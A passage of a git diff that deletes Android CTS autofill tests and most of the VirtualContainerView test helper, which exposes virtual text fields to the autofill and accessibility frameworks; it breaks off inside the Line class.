-    public void testAutofillManuallyTwoDatasetsPickFirst() throws Exception {
-        autofillManuallyTwoDatasets(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyTwoDatasetsPickSecond() throws Exception {
-        autofillManuallyTwoDatasets(false);
-    }
-
-    private void autofillManuallyTwoDatasets(boolean pickFirst) throws Exception {
-        skipTestOnCompatMode(); // TODO(b/73557072): not supported yet
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "jenny")
-                        .setField(ID_PASSWORD, "8675309")
-                        .setPresentation(createPresentation("Jenny"))
-                        .build())
-                .build());
-        if (pickFirst) {
-            mActivity.expectAutoFill("dude", "sweet");
-        } else {
-            mActivity.expectAutoFill("jenny", "8675309");
-
-        }
-
-        // Trigger auto-fill.
-        mActivity.getSystemService(AutofillManager.class).requestAutofill(
-                mActivity.mCustomView, mActivity.mUsername.text.id,
-                mActivity.mUsername.getAbsCoordinates());
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        final UiObject2 picker = assertDatasetShown(mActivity.mUsername, "The Dude", "Jenny");
-        mUiBot.selectDataset(picker, pickFirst ? "The Dude" : "Jenny");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofillCallbacks() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        focusToUsername();
-        sReplier.getNextFillRequest();
-
-        callback.assertUiShownEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-
-        // Change focus
-        focusToPassword();
-        callback.assertUiHiddenEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-        callback.assertUiShownEvent(mActivity.mCustomView, mActivity.mPassword.text.id);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackDisabled() throws Throwable {
-        // Set service.
-        disableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-
-        // Assert callback was called
-        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackNoDatasets() throws Throwable {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger autofill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        mUiBot.assertNoDatasetsEver();
-
-        // Assert callback was called
-        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackNoDatasetsButSaveInfo() throws Throwable {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger autofill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Autofill it.
-        mUiBot.assertNoDatasetsEver();
-
-        // Assert callback was called
-        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-
-        // Make sure save is not triggered
-        mActivity.getAutofillManager().commit();
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    public void testSaveDialogNotShownWhenBackIsPressed() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        focusToUsername();
-        sReplier.getNextFillRequest();
-        assertDatasetShown(mActivity.mUsername, "The Dude");
-
-        mUiBot.pressBack();
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    public void testSave_childViewsGone_notifyAfm() throws Throwable {
-        saveTest(CommitType.CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API);
-    }
-
-    @Test
-    public void testSave_childViewsGone_updateView() throws Throwable {
-        saveTest(CommitType.CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API);
-    }
-
-    @Test
-    @Ignore("Disabled until b/73493342 is fixed")
-    public void testSave_parentViewGone() throws Throwable {
-        saveTest(CommitType.PARENT_VIEW_GONE);
-    }
-
-    @Test
-    public void testSave_appCallsCommit() throws Throwable {
-        saveTest(CommitType.EXPLICIT_COMMIT);
-    }
-
-    @Test
-    public void testSave_submitButtonClicked() throws Throwable {
-        saveTest(CommitType.SUBMIT_BUTTON_CLICKED);
-    }
-
-    enum CommitType {
-        CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API,
-        CHILDREN_VIEWS_GONE_IS_VISIBLE_API,
-        PARENT_VIEW_GONE,
-        EXPLICIT_COMMIT,
-        SUBMIT_BUTTON_CLICKED
-    }
-
-    private void saveTest(CommitType commitType) throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
-
-        switch (commitType) {
-            case CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API:
-            case CHILDREN_VIEWS_GONE_IS_VISIBLE_API:
-            case PARENT_VIEW_GONE:
-                response.setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE);
-                break;
-            case EXPLICIT_COMMIT:
-                // does nothing
-                break;
-            case SUBMIT_BUTTON_CLICKED:
-                response
-                    .setSaveInfoFlags(SaveInfo.FLAG_DONT_SAVE_ON_FINISH)
-                    .setSaveTriggerId(mActivity.mCustomView.mLoginButtonId);
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + commitType);
-        }
-        sReplier.addResponse(response.build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Fill in some stuff
-        mActivity.mUsername.setText("foo");
-        focusToPasswordExpectNoWindowEvent();
-        mActivity.mPassword.setText("bar");
-
-        // Trigger save.
-        switch (commitType) {
-            case CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API:
-                setViewsInvisible(VisibilityIntegrationMode.NOTIFY_AFM);
-                break;
-            case CHILDREN_VIEWS_GONE_IS_VISIBLE_API:
-                setViewsInvisible(VisibilityIntegrationMode.OVERRIDE_IS_VISIBLE_TO_USER);
-                break;
-            case PARENT_VIEW_GONE:
-                mActivity.runOnUiThread(() -> {
-                    final ViewGroup parent = (ViewGroup) mActivity.mCustomView.getParent();
-                    parent.removeView(mActivity.mCustomView);
-                });
-                break;
-            case EXPLICIT_COMMIT:
-                mActivity.getAutofillManager().commit();
-                break;
-            case SUBMIT_BUTTON_CLICKED:
-                mActivity.mCustomView.clickLogin();
-                break;
-            default:
-                throw new IllegalArgumentException("unknown type: " + commitType);
-        }
-
-        // Assert UI is showing.
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-
-        assertTextAndValue(username, "foo");
-        assertTextAndValue(password, "bar");
-    }
-
-    protected void setViewsInvisible(VisibilityIntegrationMode mode) {
-        mActivity.mUsername.setVisibilityIntegrationMode(mode);
-        mActivity.mPassword.setVisibilityIntegrationMode(mode);
-        mActivity.mUsername.changeVisibility(false);
-        mActivity.mPassword.changeVisibility(false);
-    }
-
-    // NOTE: tests where save is not shown only makes sense when calling commit() explicitly,
-    // otherwise the test could pass but the UI is still shown *after* the app is committed.
-    // We could still test them by explicitly committing and then checking that the Save UI is not
-    // shown again, but then we wouldn't be effectively testing that the context was committed
-
-    @Test
-    public void testSaveNotShown_noUserInput() throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.getAutofillManager().commit();
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
-    public void testSaveNotShown_initialValues_noUserInput() throws Throwable {
-        // Prepare activitiy.
-        mActivity.mUsername.setText("foo");
-        mActivity.mPassword.setText("bar");
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.getAutofillManager().commit();
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
-    public void testSaveNotShown_initialValues_noUserInput_serviceDatasets() throws Throwable {
-        // Prepare activitiy.
-        mActivity.mUsername.setText("foo");
-        mActivity.mPassword.setText("bar");
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-        assertDatasetShown(mActivity.mUsername, "The Dude");
-
-        // Trigger save.
-        mActivity.getAutofillManager().commit();
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
-    public void testSaveNotShown_userInputMatchesDatasets() throws Throwable {
-        // Prepare activitiy.
-        mActivity.mUsername.setText("foo");
-        mActivity.mPassword.setText("bar");
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "foo")
-                        .setField(ID_PASSWORD, "bar")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-        assertDatasetShown(mActivity.mUsername, "The Dude");
-
-        // Trigger save.
-        mActivity.getAutofillManager().commit();
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    public void testDatasetFiltering() throws Throwable {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(createPresentation(aa))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(createPresentation(ab))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(createPresentation(b))
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        assertDatasetShown(mActivity.mUsername, aa, ab, b);
-
-        // Only two datasets start with 'a'
-        mActivity.mUsername.setText("a");
-        assertDatasetShown(mActivity.mUsername, aa, ab);
-
-        // Only one dataset start with 'aa'
-        mActivity.mUsername.setText("aa");
-        assertDatasetShown(mActivity.mUsername, aa);
-
-        // Only two datasets start with 'a'
-        mActivity.mUsername.setText("a");
-        assertDatasetShown(mActivity.mUsername, aa, ab);
-
-        // With no filter text all datasets should be shown
-        mActivity.mUsername.setText("");
-        assertDatasetShown(mActivity.mUsername, aa, ab, b);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        mActivity.mUsername.setText("aaa");
-        callback.assertUiHiddenEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-        mUiBot.assertNoDatasets();
-    }
-
-    /**
-     * Asserts the dataset picker is properly displayed in a give line.
-     */
-    protected UiObject2 assertDatasetShown(Line line, String... expectedDatasets)
-            throws Exception {
-        boolean autofillViewBoundsMatches = !Helper.isAutofillWindowFullScreen(mContext);
-        final UiObject2 datasetPicker = mUiBot.assertDatasets(expectedDatasets);
-        final Rect pickerBounds = datasetPicker.getVisibleBounds();
-        final Rect fieldBounds = line.getAbsCoordinates();
-        if (autofillViewBoundsMatches) {
-            assertWithMessage("vertical coordinates don't match; picker=%s, field=%s", pickerBounds,
-                    fieldBounds).that(pickerBounds.top).isEqualTo(fieldBounds.bottom);
-            assertWithMessage("horizontal coordinates don't match; picker=%s, field=%s",
-                    pickerBounds, fieldBounds).that(pickerBounds.left).isEqualTo(fieldBounds.left);
-        }
-        return datasetPicker;
-    }
-
-    protected void assertLabel(ViewNode node, String expectedValue) {
-        if (mCompatMode) {
-            // Compat mode doesn't set AutofillValue of non-editable fields
-            assertTextOnly(node, expectedValue);
-        } else {
-            assertTextAndValue(node, expectedValue);
-        }
-    }
-
-    protected void assertUrlBarIsSanitized(ViewNode urlBar) {
-        assertTextIsSanitized(urlBar);
-        assertThat(urlBar.getWebDomain()).isNull();
-        assertThat(urlBar.getWebScheme()).isNull();
-    }
-
-
-    private void skipTestOnCompatMode() {
-        assumeTrue("test not applicable when on compat mode", !mCompatMode);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
deleted file mode 100644
index 6634ec0..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ /dev/null
@@ -1,604 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.content.Context;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Paint;
-import android.graphics.Paint.Style;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.text.Editable;
-import android.text.TextUtils;
-import android.text.TextWatcher;
-import android.util.AttributeSet;
-import android.util.DisplayMetrics;
-import android.util.Log;
-import android.util.Pair;
-import android.util.SparseArray;
-import android.view.MotionEvent;
-import android.view.View;
-import android.view.ViewStructure;
-import android.view.ViewStructure.HtmlInfo;
-import android.view.WindowManager;
-import android.view.accessibility.AccessibilityEvent;
-import android.view.accessibility.AccessibilityManager;
-import android.view.accessibility.AccessibilityNodeInfo;
-import android.view.accessibility.AccessibilityNodeProvider;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillManager;
-import android.view.autofill.AutofillValue;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-class VirtualContainerView extends View {
-
-    private static final String TAG = "VirtualContainerView";
-    private static final int LOGIN_BUTTON_VIRTUAL_ID = 666;
-
-    static final String LABEL_CLASS = "my.readonly.view";
-    static final String TEXT_CLASS = "my.editable.view";
-    static final String ID_URL_BAR = "my_url_bar";
-    static final String ID_URL_BAR2 = "my_url_bar2";
-
-    private final ArrayList<Line> mLines = new ArrayList<>();
-    private final SparseArray<Item> mItems = new SparseArray<>();
-    private AutofillManager mAfm;
-    final AutofillId mLoginButtonId;
-
-    private Line mFocusedLine;
-    private int mNextChildId;
-
-    private Paint mTextPaint;
-    private int mTextHeight;
-    private int mTopMargin;
-    private int mLeftMargin;
-    private int mVerticalGap;
-    private int mLineLength;
-    private int mFocusedColor;
-    private int mUnfocusedColor;
-    private boolean mSync = true;
-    private boolean mOverrideDispatchProvideAutofillStructure = false;
-
-    private boolean mCompatMode = false;
-    private AccessibilityDelegate mAccessibilityDelegate;
-    private AccessibilityNodeProvider mAccessibilityNodeProvider;
-
-    /**
-     * Enum defining how the view communicate visibility changes to the framework
-     */
-    enum VisibilityIntegrationMode {
-        NOTIFY_AFM,
-        OVERRIDE_IS_VISIBLE_TO_USER
-    }
-
-    private VisibilityIntegrationMode mVisibilityIntegrationMode;
-
-    public VirtualContainerView(Context context, AttributeSet attrs) {
-        super(context, attrs);
-
-        setAutofillManager(context);
-
-        mTextPaint = new Paint();
-
-        mUnfocusedColor = Color.BLACK;
-        mFocusedColor = Color.RED;
-        mTextPaint.setStyle(Style.FILL);
-        DisplayMetrics metrics = new DisplayMetrics();
-        WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
-        wm.getDefaultDisplay().getMetrics(metrics);
-        mTopMargin = metrics.heightPixels * 3 / 100;
-        mLeftMargin = metrics.widthPixels * 3 / 100;
-        mTextHeight = metrics.widthPixels * 3 / 100; // adjust text size with display width
-        mVerticalGap = metrics.heightPixels / 100;
-
-        mLineLength = mTextHeight + mVerticalGap;
-        mTextPaint.setTextSize(mTextHeight);
-        Log.d(TAG, "Text height: " + mTextHeight);
-        mLoginButtonId = new AutofillId(getAutofillId(), LOGIN_BUTTON_VIRTUAL_ID);
-    }
-
-    public void setAutofillManager(Context context) {
-        mAfm = context.getSystemService(AutofillManager.class);
-        Log.d(TAG, "Set AFM from " + context);
-    }
-
-    @Override
-    public void autofill(SparseArray<AutofillValue> values) {
-        Log.d(TAG, "autofill: " + values);
-        if (mCompatMode) {
-            Log.v(TAG, "using super.autofill() on compat mode");
-            super.autofill(values);
-            return;
-        }
-        for (int i = 0; i < values.size(); i++) {
-            final int id = values.keyAt(i);
-            final AutofillValue value = values.valueAt(i);
-            final Item item = getItem(id);
-            item.autofill(value.getTextValue());
-        }
-        postInvalidate();
-    }
-
-    @Override
-    protected void onDraw(Canvas canvas) {
-        super.onDraw(canvas);
-
-        Log.d(TAG, "onDraw: " + mLines.size() + " lines; canvas:" + canvas);
-        float x;
-        float y = mTopMargin + mLineLength;
-        for (int i = 0; i < mLines.size(); i++) {
-            x = mLeftMargin;
-            final Line line = mLines.get(i);
-            if (!line.visible) {
-                continue;
-            }
-            Log.v(TAG, "Drawing '" + line + "' at " + x + "x" + y);
-            mTextPaint.setColor(line.focused ? mFocusedColor : mUnfocusedColor);
-            final String readOnlyText = line.label.text + ":  [";
-            final String writeText = line.text.text + "]";
-            // Paints the label first...
-            canvas.drawText(readOnlyText, x, y, mTextPaint);
-            // ...then paints the edit text and sets the proper boundary
-            final float deltaX = mTextPaint.measureText(readOnlyText);
-            x += deltaX;
-            line.bounds.set((int) x, (int) (y - mLineLength),
-                    (int) (x + mTextPaint.measureText(writeText)), (int) y);
-            Log.d(TAG, "setBounds(" + x + ", " + y + "): " + line.bounds);
-            canvas.drawText(writeText, x, y, mTextPaint);
-            y += mLineLength;
-        }
-    }
-
-    @Override
-    public boolean onTouchEvent(MotionEvent event) {
-        final int y = (int) event.getY();
-        Log.d(TAG, "You can touch this: y=" + y + ", range=" + mLineLength + ", top=" + mTopMargin);
-        int lowerY = mTopMargin;
-        int upperY = -1;
-        for (int i = 0; i < mLines.size(); i++) {
-            upperY = lowerY + mLineLength;
-            final Line line = mLines.get(i);
-            Log.d(TAG, "Line " + i + " ranges from " + lowerY + " to " + upperY);
-            if (lowerY <= y && y <= upperY) {
-                if (mFocusedLine != null) {
-                    Log.d(TAG, "Removing focus from " + mFocusedLine);
-                    mFocusedLine.changeFocus(false);
-                }
-                Log.d(TAG, "Changing focus to " + line);
-                mFocusedLine = line;
-                mFocusedLine.changeFocus(true);
-                invalidate();
-                break;
-            }
-            lowerY += mLineLength;
-        }
-        return super.onTouchEvent(event);
-    }
-
-    @Override
-    public void dispatchProvideAutofillStructure(ViewStructure structure, int flags) {
-        if (mOverrideDispatchProvideAutofillStructure) {
-            Log.d(TAG, "Overriding dispatchProvideAutofillStructure()");
-            structure.setAutofillId(getAutofillId());
-            onProvideAutofillVirtualStructure(structure, flags);
-        } else {
-            super.dispatchProvideAutofillStructure(structure, flags);
-        }
-    }
-
-    @Override
-    public void onProvideAutofillVirtualStructure(ViewStructure structure, int flags) {
-        Log.d(TAG, "onProvideAutofillVirtualStructure(): flags = " + flags);
-        super.onProvideAutofillVirtualStructure(structure, flags);
-
-        if (mCompatMode) {
-            Log.v(TAG, "using super.onProvideAutofillVirtualStructure() on compat mode");
-            return;
-        }
-
-        final String packageName = getContext().getPackageName();
-        structure.setClassName(getClass().getName());
-        final int childrenSize = mItems.size();
-        int index = structure.addChildCount(childrenSize);
-        final String syncMsg = mSync ? "" : " (async)";
-        for (int i = 0; i < childrenSize; i++) {
-            final Item item = mItems.valueAt(i);
-            Log.d(TAG, "Adding new child" + syncMsg + " at index " + index + ": " + item);
-            final ViewStructure child = mSync
-                    ? structure.newChild(index)
-                    : structure.asyncNewChild(index);
-            child.setAutofillId(structure.getAutofillId(), item.id);
-            child.setDataIsSensitive(item.sensitive);
-            if (item.editable) {
-                child.setInputType(item.line.inputType);
-            }
-            index++;
-            child.setClassName(item.className);
-            // Must set "fake" idEntry because that's what the test cases use to find nodes.
-            child.setId(1000 + index, packageName, "id", item.resourceId);
-            child.setText(item.text);
-            if (TextUtils.getTrimmedLength(item.text) > 0) {
-                // TODO: Must checked trimmed length because input fields use 8 empty spaces to
-                // set width
-                child.setAutofillValue(AutofillValue.forText(item.text));
-            }
-            child.setFocused(item.line.focused);
-            child.setHtmlInfo(child.newHtmlInfoBuilder("TAGGY")
-                    .addAttribute("a1", "v1")
-                    .addAttribute("a2", "v2")
-                    .addAttribute("a1", "v2")
-                    .build());
-            child.setAutofillHints(new String[] {"c", "a", "a", "b", "a", "a"});
-
-            if (!mSync) {
-                Log.d(TAG, "Commiting virtual child");
-                child.asyncCommit();
-            }
-        }
-    }
-
-    @Override
-    public boolean isVisibleToUserForAutofill(int virtualId) {
-        boolean callSuper = true;
-        if (mVisibilityIntegrationMode == null) {
-            Log.w(TAG, "isVisibleToUserForAutofill(): mVisibilityIntegrationMode not set");
-        } else {
-            callSuper = mVisibilityIntegrationMode == VisibilityIntegrationMode.NOTIFY_AFM;
-        }
-        final boolean isVisible;
-        if (callSuper) {
-            isVisible = super.isVisibleToUserForAutofill(virtualId);
-            Log.d(TAG, "isVisibleToUserForAutofill(" + virtualId + ") using super: " + isVisible);
-        } else {
-            final Item item = getItem(virtualId);
-            isVisible = item.line.visible;
-            Log.d(TAG, "isVisibleToUserForAutofill(" + virtualId + ") set by test: " + isVisible);
-        }
-        return isVisible;
-    }
-
-    /**
-     * Emulates clicking the login button.
-     */
-    void clickLogin() {
-        Log.d(TAG, "clickLogin()");
-        if (mCompatMode) {
-            sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_CLICKED, LOGIN_BUTTON_VIRTUAL_ID);
-        } else {
-            mAfm.notifyViewClicked(this, LOGIN_BUTTON_VIRTUAL_ID);
-        }
-    }
-
-    private Item getItem(int id) {
-        final Item item = mItems.get(id);
-        assertWithMessage("No item for id %s", id).that(item).isNotNull();
-        return item;
-    }
-
-    private AccessibilityNodeInfo onProvideAutofillCompatModeAccessibilityNodeInfo() {
-        final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
-
-        final String packageName = getContext().getPackageName();
-        node.setPackageName(packageName);
-        node.setClassName(getClass().getName());
-
-        final int childrenSize = mItems.size();
-        for (int i = 0; i < childrenSize; i++) {
-            final Item item = mItems.valueAt(i);
-            final int id = i + 1;
-            Log.d(TAG, "Adding new A11Y child with id " + id + ": " + item);
-
-            node.addChild(this, id);
-        }
-
-        return node;
-    }
-
-    private AccessibilityNodeInfo onProvideAutofillCompatModeAccessibilityNodeInfoForLoginButton() {
-        final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
-        node.setSource(this, LOGIN_BUTTON_VIRTUAL_ID);
-        node.setPackageName(getContext().getPackageName());
-        // TODO(b/37566627): ideally this button should be visible / drawn in the canvas and contain
-        // more properties like boundaries, class name, text etc...
-        return node;
-    }
-
-    static void assertHtmlInfo(ViewNode node) {
-        final String name = node.getText().toString();
-        final HtmlInfo info = node.getHtmlInfo();
-        assertWithMessage("no HTML info on %s", name).that(info).isNotNull();
-        assertWithMessage("wrong HTML tag on %s", name).that(info.getTag()).isEqualTo("TAGGY");
-        assertWithMessage("wrong attributes on %s", name).that(info.getAttributes())
-                .containsExactly(
-                        new Pair<>("a1", "v1"),
-                        new Pair<>("a2", "v2"),
-                        new Pair<>("a1", "v2"));
-    }
-
-    Line addLine(String labelId, String label, String textId, String text, int inputType) {
-        final Line line = new Line(labelId, label, textId, text, inputType);
-        Log.d(TAG, "addLine: " + line);
-        mLines.add(line);
-        mItems.put(line.label.id, line.label);
-        mItems.put(line.text.id, line.text);
-        return line;
-    }
-
-    void setSync(boolean sync) {
-        mSync = sync;
-    }
-
-    void setCompatMode(boolean compatMode) {
-        mCompatMode = compatMode;
-
-        if (mCompatMode) {
-            setImportantForAccessibility(View.IMPORTANT_FOR_ACCESSIBILITY_YES);
-            mAccessibilityNodeProvider = new AccessibilityNodeProvider() {
-                @Override
-                public AccessibilityNodeInfo createAccessibilityNodeInfo(int virtualViewId) {
-                    Log.d(TAG, "createAccessibilityNodeInfo(): id=" + virtualViewId);
-                    switch (virtualViewId) {
-                        case AccessibilityNodeProvider.HOST_VIEW_ID:
-                            return onProvideAutofillCompatModeAccessibilityNodeInfo();
-                        case LOGIN_BUTTON_VIRTUAL_ID:
-                            return onProvideAutofillCompatModeAccessibilityNodeInfoForLoginButton();
-                        default:
-                            final Item item = getItem(virtualViewId);
-                            return item.provideAccessibilityNodeInfo(VirtualContainerView.this,
-                                    getContext());
-                    }
-                }
-
-                @Override
-                public boolean performAction(int virtualViewId, int action, Bundle arguments) {
-                    if (action == AccessibilityNodeInfo.ACTION_SET_TEXT) {
-                        final CharSequence text = arguments.getCharSequence(
-                                AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE);
-                        final Item item = getItem(virtualViewId);
-                        item.autofill(text);
-                        return true;
-                    }
-
-                    return false;
-                }
-            };
-            mAccessibilityDelegate = new AccessibilityDelegate() {
-                @Override
-                public AccessibilityNodeProvider getAccessibilityNodeProvider(View host) {
-                    return mAccessibilityNodeProvider;
-                }
-            };
-
-            setAccessibilityDelegate(mAccessibilityDelegate);
-        }
-    }
-
-    void setOverrideDispatchProvideAutofillStructure(boolean flag) {
-        mOverrideDispatchProvideAutofillStructure = flag;
-    }
-
-    private void sendAccessibilityEvent(int eventType, int virtualId) {
-        final AccessibilityEvent event = AccessibilityEvent.obtain();
-        event.setEventType(eventType);
-        event.setSource(VirtualContainerView.this, virtualId);
-        event.setEnabled(true);
-        event.setPackageName(getContext().getPackageName());
-        Log.v(TAG, "sendAccessibilityEvent(" + eventType + ", " + virtualId + "): " + event);
-        getContext().getSystemService(AccessibilityManager.class).sendAccessibilityEvent(event);
-    }
-
-    final class Line {
-
-        final Item label;
-        final Item text;
-        // Boundaries of the text field, relative to the CustomView
-        final Rect bounds = new Rect();
-        // Boundaries of the text field, relative to the screen
-        Rect absBounds;
-
-        private boolean focused;
-        private boolean visible = true;
-        private final int inputType;
-
-        private Line(String labelId, String label, String textId, String text, int inputType) {
-            this.label = new Item(this, ++mNextChildId, labelId, label, false, false);
